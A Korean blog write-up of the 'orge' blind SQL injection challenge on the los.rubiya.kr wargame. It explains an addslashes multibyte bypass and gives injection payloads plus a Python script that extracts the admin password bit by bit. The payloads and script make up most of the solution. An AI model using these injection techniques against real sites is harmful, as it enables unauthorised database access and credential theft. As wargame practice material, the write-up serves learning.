문제를 보아하니 pw 를 추출해야하는 Blind SQL Injection 문제이다. 여기서 특별히 보이는 것은 addslashes 라는 함수인데 이 함수는 ' " \ 등의 문자에 \ 를 붙여 escape 해주는 함수이다. 이렇게 되면 우리는 ' " \ 와 같은 문자에 \' \" \\ 처럼 escape 가 된다.
하지만 문제상에서 addslashes 함수는 처음 Hello 결과 id 를 뽑은 후에 사용이 되니 그냥 공격을 해도 상관이 없을거 같다. 나중에 addslashes 함수를 만났을 때 우회하는 방법이 있는데 문자셋이 멀티바이트여야 가능한 우회방법이다. ' " \ 를 쓰기 전에 %a1 ~ %fe 중에 문자를 하나 넣어주면 %a1\ 가 합쳐져 이상한 문자가 되고 ' " \ 는 그대로 나오게 된다.
아 그리고 or 이 필터링 되어서 ord 를 사용하지 못한다. 그러므로 ascii 를 사용하자
풀이
select id from prob_orge where id='guest' and pw=''||id='admin'%26%26length(pw)>{}%23
-> pw 의 길이 구하기 {} 에 숫자 때려 맞추기. %26%26 == &&, %23 == #
select id from prob_orge where id='guest' and pw=''||id='admin'%26%26ascii(mid(pw,{},1))%26{}={}%23
-> pw 추출
payload
#coding:utf-8 import urllib2 import ssl opener = urllib2.build_opener(urllib2.HTTPSHandler(context=ssl.SSLContext(ssl.PROTOCOL_TLSv1))) urllib2.install_opener(opener) url="http://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?" sess="4hqu7lpapeslgg180htc7dtrh3" # Your sessionid for i in range(1,9): bin = pow(2,8) # 128 str=0 while bin >= 1: query="pw=%27||id='admin'%26%26ascii(mid(pw,{},1))%26{}={}%23".format(i,bin,bin) req=urllib2.Request(url+query) req.add_header("Cookie","PHPSESSID="+sess) read=urllib2.urlopen(req).read() if(read.find("Hello admin
") != -1): str+=bin bin/=2 print chr(str),
los.rubiya.kr/vampire (0) | 2018.12.24 |
---|---|
los.rubiya.kr/troll (0) | 2018.11.15 |
los.rubiya.kr/darkelf (0) | 2018.11.15 |
los.rubiya.kr/wolfman (0) | 2018.11.15 |
los.rubiya.kr/orc (0) | 2018.11.15 |